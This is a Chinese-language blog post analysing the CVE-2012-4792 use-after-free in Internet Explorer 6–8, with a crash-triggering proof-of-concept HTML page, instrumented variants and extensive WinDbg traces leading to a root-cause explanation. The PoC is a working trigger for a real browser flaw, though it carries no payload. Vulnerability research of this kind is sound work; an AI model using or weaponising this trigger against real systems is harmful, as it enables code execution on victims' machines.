CVE-2012-4792Microsoft Internet Explorer 释放后使用漏洞

发布者:Ox9A82
发布于:2016-08-16 17:38
        Microsoft Internet Explorer是微软Windows操作系统中默认捆绑的WEB浏览器。
        Microsoft Internet Explorer 6至8版本中存在释放后使用漏洞。通过特制的网站触发对(1)未被正确分配的或(2)已删除的对象的访问,远程攻击者可利用该漏洞执行任意代码。目前已经证实CDwnBindInfo对象可触发此漏洞。     
<!doctype html>
<html>
<head>
<script> 
function exploit()
{
 var e0 = null;
 var e1 = null;
 var e2 = null; 
 try {
  e0 = document.getElementById("a");
  e1 = document.createElement("div");
  e2 = document.createElement("q");
  e1.applyElement(e2);
  e1.appendChild(document.createElement('button'));
  e1.applyElement(e0);
  e2.innerHTML = "";
  e2.appendChild(document.createElement('body'));
 } catch(e) { }
 CollectGarbage(); 
} 
</script> 
</head>
<body onload="exploit()">
<form id="a">
</form>
</body>
</html> 

开启堆调试支持,加载POC,crash信息如下

First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=073cefa8 ebx=06e29f30 ecx=00000052 edx=00000000 esi=00000000 edi=073cefa8
eip=637848ae esp=03dff838 ebp=03dff8a4 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\WINDOWS\system32\mshtml.dll - 
mshtml!Ordinal104+0x3c6f6:
637848ae 8b07            mov     eax,dword ptr [edi]  ds:0023:073cefa8=????????
2:033> !heap -p -a edi
    address 0679cfa8 found in
    _DPH_HEAP_ROOT @ 151000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                    618bb58:          679c000             2000
    7c947553 ntdll!RtlFreeHeap+0x000000f9
    639943ef mshtml!CButton::`vector deleting destructor'+0x0000002f
    63628a50 mshtml!CBase::SubRelease+0x00000022
    63640d1b mshtml!CElement::PrivateRelease+0x00000029
    6363d0ae mshtml!PlainRelease+0x00000025
    63663c03 mshtml!PlainTrackerRelease+0x00000014
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\WINDOWS\system32\jscript.dll - 
    633a10b4 jscript!DllGetClassObject+0x00009efc
    6339fb4a jscript!DllGetClassObject+0x00008992
    6339fd33 jscript!DllGetClassObject+0x00008b7b
    63405594 jscript!DllRegisterServer+0x0000c163
    633a92f7 jscript!DllGetClassObject+0x0001213f
    633a6650 jscript!DllGetClassObject+0x0000f498
    633a9c0b jscript!DllGetClassObject+0x00012a53
    633a5ab0 jscript!DllGetClassObject+0x0000e8f8
    633a59f7 jscript!DllGetClassObject+0x0000e83f
    633a5743 jscript!DllGetClassObject+0x0000e58b

这次就能看的出来是CButton对象被释放重用了。而且可以知道是CollectGarbage()函数的垃圾回收释放的这个对象。至于如何获取这个对象的创建函数,我们可以直接通过记录对象分配来实现目的。

CButton类是继承自CElement类的,就是说我们可以用通用断点断下

分配

1:021> 
eax=685dee41 ebx=68378308 ecx=0426c170 edx=057a4680 esi=07f4e9ac edi=0426c190
eip=685dee51 esp=0426c124 ebp=0426c134 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
mshtml!CButton::CreateElement+0x10:
685dee51 ff15c4121c68    call    dword ptr [mshtml!_imp__HeapAlloc (681c12c4)] ds:0023:681c12c4={ntdll!RtlAllocateHeap (7721209d)}
1:021> 
eax=07af4fa8 ebx=68378308 ecx=7721349f edx=00000000 esi=07f4e9ac edi=0426c190
eip=685dee57 esp=0426c130 ebp=0426c134 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
mshtml!CButton::CreateElement+0x16:
685dee57 8bf0            mov     esi,eax
1:021> ? eax
Evaluate expression: 128929704 = 07af4fa8
1:021> kp
ChildEBP RetAddr  
0426c134 68304be9 mshtml!CButton::CreateElement+0x16
0426c160 6833ca5d mshtml!CreateElement+0x43
0426c200 682c1e56 mshtml!CMarkup::CreateElement+0x2e4
0426c220 682c1dcf mshtml!CDocument::CreateElementHelper+0x52
0426c23c 6840c1f6 mshtml!CDocument::createElement+0x21
0426c270 683f235c mshtml!Method_IDispatchpp_BSTR+0xd2
0426c2e4 683f25d5 mshtml!CBase::ContextInvokeEx+0x5dc
0426c310 683fdf9a mshtml!CBase::InvokeEx+0x25
0426c360 683b4998 mshtml!DispatchInvokeCollection+0x14c
0426c3a8 683a3148 mshtml!CDocument::InvokeEx+0xf0
0426c3d0 683a3104 mshtml!CBase::VersionedInvokeEx+0x20
0426c424 68a3a22a mshtml!PlainInvokeEx+0xeb
0426c460 68a3a175 jscript!IDispatchExInvokeEx2+0x104
0426c49c 68a3a3f6 jscript!IDispatchExInvokeEx+0x6a
0426c55c 68a3a4a0 jscript!InvokeDispatchEx+0x98
0426c590 68a4d8c8 jscript!VAR::InvokeByName+0x139
0426c5dc 68a4d96f jscript!VAR::InvokeDispName+0x7d
0426c608 68a451b6 jscript!VAR::InvokeByDispID+0xce
0426c7a4 68a45c9d jscript!CScriptRuntime::Run+0x2a97
0426c88c 68a45bfb jscript!ScrFncObj::CallWithFrameOnStack+0xce

释放

1:021> 
eax=00000039 ebx=0741ae80 ecx=07af4fa8 edx=00000000 esi=07af4fa8 edi=00000000
eip=68387dbb esp=0426c420 ebp=0426c42c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
mshtml!CBase::SubRelease+0xd:
68387dbb c7410806000400  mov     dword ptr [ecx+8],40006h ds:0023:07af4fb0=00000002
1:021> kp
ChildEBP RetAddr  
0426c41c 68387db6 mshtml!CBase::SubRelease+0xd
0426c42c 6837c482 mshtml!CBase::PrivateRelease+0x3c
0426c440 6837b034 mshtml!CElement::PrivateRelease+0x2a
0426c450 683d669d mshtml!PlainRelease+0x25
0426c468 68a3a6f1 mshtml!PlainTrackerRelease+0x14
0426c478 68a5436c jscript!VAR::Clear+0x5f
0426c4a0 68a56d66 jscript!GcAlloc::ReclaimGarbage+0x94
0426c4bc 68a54309 jscript!GcContext::Reclaim+0xb6
0426c4d0 68a54209 jscript!GcContext::CollectCore+0x123
0426c4e4 68ab8572 jscript!GcContext::Collect+0x3a
0426c4ec 68a458ba jscript!JsCollectGarbage+0x1d
0426c554 68a474ac jscript!NatFncObj::Call+0x106
0426c5d8 68a44ea4 jscript!NameTbl::InvokeInternal+0x141
0426c608 68a4e3e7 jscript!VAR::InvokeByDispID+0x17f
0426c7a4 68a45c9d jscript!CScriptRuntime::Run+0x2b80
0426c88c 68a45bfb jscript!ScrFncObj::CallWithFrameOnStack+0xce
0426c8d4 68a45e11 jscript!ScrFncObj::Call+0x8d
0426c950 68a3f3ee jscript!CSession::Execute+0x15f
0426ca38 68a3ea2e jscript!NameTbl::InvokeDef+0x1b5
0426cabc 68a3a22a jscript!NameTbl::InvokeEx+0x12c

重利用

1:021> g
(770.868): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=07af4fa8 ebx=07b66f30 ecx=00000052 edx=00000000 esi=00000000 edi=07af4fa8
eip=6836cc36 esp=0426f730 ebp=0426f784 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
mshtml!CMarkup::OnLoadStatusDone+0x4d0:
6836cc36 8b07            mov     eax,dword ptr [edi]  ds:0023:07af4fa8=????????
1:021> kp
ChildEBP RetAddr  
0426f784 68366aaf mshtml!CMarkup::OnLoadStatusDone+0x4d0
0426f7a4 68366fad mshtml!CMarkup::OnLoadStatus+0x47
0426fbf8 682f4fab mshtml!CProgSink::DoUpdate+0x549
0426fc08 683994b2 mshtml!CProgSink::OnMethodCall+0x12
0426fc3c 683837f7 mshtml!GlobalWndOnMethodCall+0xff
0426fc5c 76c686ef mshtml!GlobalWndProc+0x10c
0426fc88 76c68876 USER32!InternalCallWinProc+0x23
0426fd00 76c689b5 USER32!UserCallWinProcCheckWow+0x14b
0426fd60 76c68e9c USER32!DispatchMessageWorker+0x35e
0426fd70 6ea704a6 USER32!DispatchMessageW+0xf
0426fde8 6ea80446 IEFRAME!CTabWindow::_TabWindowThreadProc+0x452
0426fea0 76a749bd IEFRAME!LCIETab_ThreadProc+0x2c1
0426feb0 77111174 iertutil!CIsoScope::RegisterThread+0xab
0426febc 7721b3f5 kernel32!BaseThreadInitThunk+0xe
0426fefc 7721b3c8 ntdll!__RtlUserThreadStart+0x70
0426ff14 00000000 ntdll!_RtlUserThreadStart+0x1b

 

<!doctype html>
<html>
<head>
<script> 
function exploit()
{
 var e0 = null;
 var e1 = null;
 var e2 = null; 
 try {
  e0 = document.getElementById("a");
  e1 = document.createElement("div");
  e2 = document.createElement("q");
  e1.applyElement(e2);

  Math.tan(3,4);
  e1.appendChild(document.createElement('button'));
  Math.sin(3,4);

  e1.applyElement(e0);
  e2.innerHTML = "";
  e2.appendChild(document.createElement('body'));
 } catch(e) { }
 CollectGarbage(); 
} 
</script> 
</head>
<body onload="exploit()">
<form id="a">
</form>
</body>
</html> 

修改POC为上述情况

1:022> g
Breakpoint 0 hit
eax=00000000 ebx=0423c058 ecx=00000005 edx=00000003 esi=0423c048 edi=0423c048
eip=67a2d8c0 esp=0423bf34 ebp=0423bf70 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
jscript!tan:
67a2d8c0 ff258010a067    jmp     dword ptr [jscript!_imp__tan (67a01080)] ds:0023:67a01080={msvcrt!tan (758dde34)}
1:022> bu jscript!sin
1:022> g
Breakpoint 1 hit
eax=685dee41 ebx=68378308 ecx=0423bd80 edx=057bd680 esi=07bc1910 edi=0423bda0
eip=685dee41 esp=0423bd48 ebp=0423bd70 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
mshtml!CButton::CreateElement:
685dee41 8bff            mov     edi,edi
1:022> g
Breakpoint 2 hit
eax=00000000 ebx=0423c058 ecx=00000005 edx=00000003 esi=0423c048 edi=0423c048
eip=67a2d711 esp=0423bf34 ebp=0423bf70 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
jscript!sin:
67a2d711 ff256810a067    jmp     dword ptr [jscript!_imp__sin (67a01068)] ds:0023:67a01068={msvcrt!sin (758d8aea)}

可见是 e1.appendChild(document.createElement('button'))创建了CButton对象

<!doctype html>
<html>
<head>
<script> 
function exploit()
{
 var e0 = null;
 var e1 = null;
 var e2 = null; 
 try {
  e0 = document.getElementById("a");
  e1 = document.createElement("div");
  e2 = document.createElement("q");
  e1.applyElement(e2);
  e1.appendChild(document.createElement('button'));
  e1.applyElement(e0);
  e2.innerHTML = "";
  e2.appendChild(document.createElement('body'));
 } catch(e) { }

 Math.sin(3,4);
 CollectGarbage(); 
 Math.cos(3,4);
} 
</script> 
</head>
<body onload="exploit()">
<form id="a">
</form>
</body>
</html> 

再次修改POC如上

1:021> bu jscript!sin
1:021> bu jscript!cos
1:021> bu CBase::SubRelease
*** ERROR: Module load completed but symbols could not be loaded for iexplore.exe
1:021> bu CBase::SubRelease
breakpoint 2 redefined
1:021> bc 2
1:021> g
Breakpoint 0 hit
eax=00000000 ebx=0412c158 ecx=00000005 edx=00000003 esi=0412c148 edi=0412c148
eip=6f8cd711 esp=0412c034 ebp=0412c070 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
jscript!sin:
6f8cd711 ff2568108a6f    jmp     dword ptr [jscript!_imp__sin (6f8a1068)] ds:0023:6f8a1068={msvcrt!sin (758d8aea)}
1:021> bu CBase::SubRelease
1:021> g
Breakpoint 2 hit
eax=06f78f30 ebx=06b3dfa8 ecx=06f78f30 edx=00000000 esi=0412c124 edi=06b3dfa8
eip=68387d27 esp=0412c114 ebp=0412c12c iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
mshtml!CBase::SubRelease:
68387d27 834108f8        add     dword ptr [ecx+8],0FFFFFFF8h ds:0023:06f78f38=00000060
1:021> dd ecx
06f78f30  683720a8 00000006 00000060 06afffe8
06f78f40  00000000 16000004 00000003 0000000a
06f78f50  076eafc0 0769ef48 00800000 00000000
06f78f60  00000000 0771bff0 00000001 00000001
06f78f70  00000010 0000000e 00000000 00000000
06f78f80  00000007 80000007 077fafd0 0770afe8
06f78f90  06ae1fd0 00000000 076f8fe8 061e2fa0
06f78fa0  00000000 00000000 00000000 07698f30
1:021> ln poi(ecx)
(683720a8)   mshtml!CMarkup::`vftable'   |  (683721a0)   mshtml!CMarkupPointer::`vftable'
Exact matches:
    mshtml!CMarkup::`vftable' = <no type information>
1:021> g
Breakpoint 2 hit
eax=00000000 ebx=06b3dfa8 ecx=0562a680 edx=00000000 esi=0412c124 edi=06b3dfa8
eip=68387d27 esp=0412c114 ebp=0412c12c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
mshtml!CBase::SubRelease:
68387d27 834108f8        add     dword ptr [ecx+8],0FFFFFFF8h ds:0023:0562a688=000000d0
1:021> ln poi(ecx)
(68371e88)   mshtml!CDoc::`vftable'   |  (6838b610)   mshtml!CDoc::`vftable'
Exact matches:
    mshtml!CDoc::`vftable' = <no type information>
1:021> g
Breakpoint 2 hit
eax=00000039 ebx=07090e80 ecx=06b3dfa8 edx=00000000 esi=06b3dfa8 edi=00000000
eip=68387d27 esp=0412c130 ebp=0412c13c iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
mshtml!CBase::SubRelease:
68387d27 834108f8        add     dword ptr [ecx+8],0FFFFFFF8h ds:0023:06b3dfb0=0000000a
1:021> ln poi(ecx)
(681c65f0)   mshtml!CButton::`vftable'   |  (68384f04)   mshtml!CButton::`vftable'
Exact matches:
    mshtml!CButton::`vftable' = <no type information>
1:021> g
Breakpoint 1 hit
eax=00000000 ebx=0412c158 ecx=00000005 edx=00000003 esi=0412c148 edi=0412c148
eip=6f8cd67f esp=0412c034 ebp=0412c070 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
jscript!cos:
6f8cd67f ff2590108a6f    jmp     dword ptr [jscript!_imp__cos (6f8a1090)] ds:0023:6f8a1090={msvcrt!cos (758d8ace)}

可见正是CollectGarbage(); 垃圾回收导致的CButton对象的释放

并没有哪一条明显的js导致重用。

 

现在已经对漏洞进行了初步的调试,下一步就是要搞清楚,为什么会产生这个漏洞。

其实我们想一想所有的UAF漏洞的本质都是相同的,就是我的引用计数和实际的引用数是不符的。 

为了搞清楚漏洞的本质原因,需要把POC从头分析一遍。

<!doctype html>
<html>
<head>
<script> 
function exploit()
{
 var e0 = null;
 var e1 = null;
 var e2 = null; 
 try {
  Math.tan(3,4);
  e0 = document.getElementById("a");
  Math.sin(3,4);
  e1 = document.createElement("div");
  Math.cos(3,4);
  e2 = document.createElement("q");
  Math.tan(3,4);
  e1.applyElement(e2);
  Math.sin(3,4);
  e1.appendChild(document.createElement('button'));
  Math.cos(3,4);
  e1.applyElement(e0);
  Math.tan(3,4);
  e2.innerHTML = "";
  Math.sin(3,4);
  e2.appendChild(document.createElement('body'));
 } catch(e) { }

 Math.cos(3,4);
 CollectGarbage(); 
 Math.tan(3,4);
} 
</script> 
</head>
<body onload="exploit()">
<form id="a">
</form>
</body>
</html> 

再次修改POC如上。

首先断在tan函数

1:021> bu 68304be7 ".echo ==create element==;ln eax;gc"
==create element==
(68322dd0)   mshtml!CDivElement::CreateElement   |  (68322e20)   mshtml!CDivElement::`vftable'
Exact matches:
    mshtml!CDivElement::CreateElement = <no type information>
==create element==
(68339f4b)   mshtml!CPhraseElement::CreateElement   |  (68339fdd)   mshtml!FindPeer
Exact matches:
    mshtml!CPhraseElement::CreateElement = <no type information>
createElement("div")-->CDivElement
createElement("q")-->CPhraseElement
jscript!tan:
6bddd8c0 ff258010db6b    jmp     dword ptr [jscript!_imp__tan (6bdb1080)] ds:0023:6bdb1080={msvcrt!tan (758dde34)}
1:021> bu mshtml!CTreeNode::CTreeNode
1:021> g
Breakpoint 5 hit
eax=06d1afb0 ebx=06277f30 ecx=06d1afb0 edx=00000000 esi=00000000 edi=07c26fd8
eip=6838ced0 esp=0425bda4 ebp=0425be00 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
mshtml!CTreeNode::CTreeNode:
6838ced0 8bff            mov     edi,edi
1:021> ln poi(07c26fd8)
(6830a9a8)   mshtml!CRootElement::`vftable'   |  (68378ba0)   mshtml!CDisplayPointer::`vftable'
Exact matches:
    mshtml!CRootElement::`vftable' = <no type information>
1:021> g
Breakpoint 5 hit
eax=06d1afb0 ebx=00000000 ecx=061cafb0 edx=00000000 esi=061cafb0 edi=0627dfd8
eip=6838ced0 esp=0425beac ebp=0425bf14 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
mshtml!CTreeNode::CTreeNode:
6838ced0 8bff            mov     edi,edi
1:021> ln poi(0627dfd8)
(68322e20)   mshtml!CDivElement::`vftable'   |  (683230d4)   mshtml!CLIElement::CreateElement
Exact matches:
    mshtml!CDivElement::`vftable' = <no type information>
1:021> g
Breakpoint 5 hit
eax=07d14fb0 ebx=00000000 ecx=07d14fb0 edx=00000000 esi=0425bf14 edi=0619efd8
eip=6838ced0 esp=0425be44 ebp=0425bee4 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
mshtml!CTreeNode::CTreeNode:
6838ced0 8bff            mov     edi,edi
1:021> ln poi(0619efd8)
(681c70e0)   mshtml!CPhraseElement::`vftable'   |  (681c7308)   mshtml!CBlockElement::`vftable'
Exact matches:
    mshtml!CPhraseElement::`vftable' = <no type information>
1:021> g
Breakpoint 2 hit
eax=00000000 ebx=0425c160 ecx=00000005 edx=00000003 esi=0425c150 edi=0425c150
eip=6bddd711 esp=0425c034 ebp=0425c070 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
jscript!sin:
6bddd711 ff256810db6b    jmp     dword ptr [jscript!_imp__sin (6bdb1068)] ds:0023:6bdb1068={msvcrt!sin (758d8aea)}
 e1.applyElement(e2);导致CPhraseElement、CDivElement的CTreeNode的建立。
1:021> dd 07d14fb0
07d14fb0  0619efd8 06d1afb0 ffff0251 ffffffff
07d14fc0  00000061 00000000 061cafd8 06d1afc0
07d14fd0  06d1afc0 061cafc0 00000062 00000000
07d14fe0  06d1afd8 061cafd8 061cafd8 06d1afd8
07d14ff0  00000008 00000000 00000000 d0d0d0d0
07d15000  ???????? ???????? ???????? ????????
07d15010  ???????? ???????? ???????? ????????
07d15020  ???????? ???????? ???????? ????????
1:021> dd 06d1afb0 
06d1afb0  07c26fd8 00000000 ffff0252 ffffffff
06d1afc0  00000071 00000000 07d14fc0 06277fb8
06d1afd0  00000000 07d14fc0 00000062 00000000
06d1afe0  00000000 07d14fd8 07d14fd8 00000000
06d1aff0  00000008 00000000 00000000 d0d0d0d0
06d1b000  ???????? ???????? ???????? ????????
06d1b010  ???????? ???????? ???????? ????????
06d1b020  ???????? ???????? ???????? ????????

并有父子关系

1:021> 
eax=685dee41 ebx=68378308 ecx=0406bd78 edx=056b4680 esi=07ac6728 edi=0406bd98
eip=68304be7 esp=0406bd44 ebp=0406bd68 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
mshtml!CreateElement+0x41:
68304be7 ffd0            call    eax {mshtml!CButton::CreateElement (685dee41)}
1:021> g
Breakpoint 6 hit
eax=078d2fb0 ebx=00000000 ecx=078d2fb0 edx=00000000 esi=0406bd50 edi=0784efa8
eip=6838ced0 esp=0406bc84 ebp=0406bd20 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
mshtml!CTreeNode::CTreeNode:
6838ced0 8bff            mov     edi,edi
1:021> ln poi(edi)
(681c65f0)   mshtml!CButton::`vftable'   |  (68384f04)   mshtml!CButton::`vftable'
Exact matches:
    mshtml!CButton::`vftable' = <no type information>
1:021> g
Breakpoint 1 hit
eax=00000000 ebx=0406c050 ecx=00000005 edx=00000003 esi=0406c040 edi=0406c040
eip=6baed67f esp=0406bf34 ebp=0406bf70 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
jscript!cos:
6baed67f ff259010ac6b    jmp     dword ptr [jscript!_imp__cos (6bac1090)] ds:0023:6bac1090={msvcrt!cos (758d8ace)}
 e1.appendChild(document.createElement('button'));导致了CButton对象和其对应的CTreeNode的创建
1:021> g
Breakpoint 0 hit
eax=00000000 ebx=0406c050 ecx=00000005 edx=00000003 esi=0406c040 edi=0406c040
eip=6baed8c0 esp=0406bf34 ebp=0406bf70 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
jscript!tan:
6baed8c0 ff258010ac6b    jmp     dword ptr [jscript!_imp__tan (6bac1080)] ds:0023:6bac1080={msvcrt!tan (758dde34)}
1:021> g
Breakpoint 7 hit
eax=0000ffff ebx=00000000 ecx=00000420 edx=078d2fb0 esi=078d2fb0 edi=0784efa8
eip=683ce563 esp=0406ba0c ebp=0406bb60 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
mshtml!CTreeNode::Release:
683ce563 8b4a40          mov     ecx,dword ptr [edx+40h] ds:0023:078d2ff0=00000008
1:021> ln poi(0784efa8)
(681c65f0)   mshtml!CButton::`vftable'   |  (68384f04)   mshtml!CButton::`vftable'
Exact matches:
    mshtml!CButton::`vftable' = <no type information>
1:021> g
Breakpoint 7 hit
eax=0000ffff ebx=00000000 ecx=00000320 edx=0662dfb0 esi=0662dfb0 edi=07a80fd8
eip=683ce563 esp=0406ba0c ebp=0406bb60 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
mshtml!CTreeNode::Release:
683ce563 8b4a40          mov     ecx,dword ptr [edx+40h] ds:0023:0662dff0=00000008
1:021> ln poi(07a80fd8)
(68322e20)   mshtml!CDivElement::`vftable'   |  (683230d4)   mshtml!CLIElement::CreateElement
Exact matches:
    mshtml!CDivElement::`vftable' = <no type information>
1:021> g
Breakpoint 7 hit
eax=0000ffff ebx=00000000 ecx=00000220 edx=06d8afb0 esi=06d8afb0 edi=066affb0
eip=683ce563 esp=0406ba0c ebp=0406bb60 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
mshtml!CTreeNode::Release:
683ce563 8b4a40          mov     ecx,dword ptr [edx+40h] ds:0023:06d8aff0=00000008
1:021> ln poi(066affb0)
(681c7ba8)   mshtml!CFormElement::`vftable'   |  (681c7dd8)   mshtml!CAnchorElement::`vftable'
Exact matches:
    mshtml!CFormElement::`vftable' = <no type information>
1:021> g
Breakpoint 2 hit
eax=00000000 ebx=0406c050 ecx=00000005 edx=00000003 esi=0406c040 edi=0406c040
eip=6baed711 esp=0406bf34 ebp=0406bf70 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
jscript!sin:
6baed711 ff256810ac6b    jmp     dword ptr [jscript!_imp__sin (6bac1068)] ds:0023:6bac1068={msvcrt!sin (758d8aea)}

 这里是由e2.innerHTML = "";导致的,对对象解除引用。

但是上面我们已经知道了,不能直接定位到导致对象被重利用的js语句。我们分析漏洞要抓住关键点,从哪里被重用推出为什么被重用,是有错误的引用还是引用计数与实际不符?

那么我这里从crash点进行反推

1:021> g
(e64.d60): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=05568fa8 ebx=07a82f30 ecx=00000052 edx=00000000 esi=00000000 edi=05568fa8
eip=6836cc36 esp=0421f620 ebp=0421f674 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
mshtml!CMarkup::OnLoadStatusDone+0x4d0:
6836cc36 8b07            mov     eax,dword ptr [edi]  ds:0023:05568fa8=????????
1:021> kp
ChildEBP RetAddr  
0421f674 68366aaf mshtml!CMarkup::OnLoadStatusDone+0x4d0
0421f694 68366fad mshtml!CMarkup::OnLoadStatus+0x47
0421fae8 682f4fab mshtml!CProgSink::DoUpdate+0x549
0421faf8 683994b2 mshtml!CProgSink::OnMethodCall+0x12
0421fb2c 683837f7 mshtml!GlobalWndOnMethodCall+0xff
0421fb4c 76c686ef mshtml!GlobalWndProc+0x10c
0421fb78 76c68876 USER32!InternalCallWinProc+0x23
0421fbf0 76c689b5 USER32!UserCallWinProcCheckWow+0x14b
0421fc50 76c68e9c USER32!DispatchMessageWorker+0x35e
0421fc60 6ea704a6 USER32!DispatchMessageW+0xf
0421fcd8 6ea80446 IEFRAME!CTabWindow::_TabWindowThreadProc+0x452
0421fd90 76a749bd IEFRAME!LCIETab_ThreadProc+0x2c1
0421fda0 77111174 iertutil!CIsoScope::RegisterThread+0xab
0421fdac 7721b3f5 kernel32!BaseThreadInitThunk+0xe
0421fdec 7721b3c8 ntdll!__RtlUserThreadStart+0x70
0421fe04 00000000 ntdll!_RtlUserThreadStart+0x1b
CMarkup::OnLoadStatusDone让我们联想到poc中的<body onload="exploit()">
在ida中定位到crash地点

可以看出是CElement::FindDefaultElem的返回值导致了crash

经过不断的对这个函数下断进行调试,最后发现这个函数的执行流程如下

call    ?GetParentForm@CElement@@QAEPAVCFormElement@@XZ ; CElement::GetParentForm(void)

返回0,导致跳转到如下分支

cmp     [ebp+arg_8], edx
jnz     loc_74CE022A

其中edx是0,跳转到如下分支

mov     eax, [edi+1A8h]

其中edi是经过

call    ?Doc@CElement@@QBEPAVCDoc@@XZ ; CElement::Doc(void)

获取到的Document对象的指针。就是说这个函数把已经释放掉的CButton对象当成了默认的对象给返回了,注意函数名(CElement::FindDefaultElem(int, int))


 

声明:该文观点仅代表作者本人,转载请注明来自看雪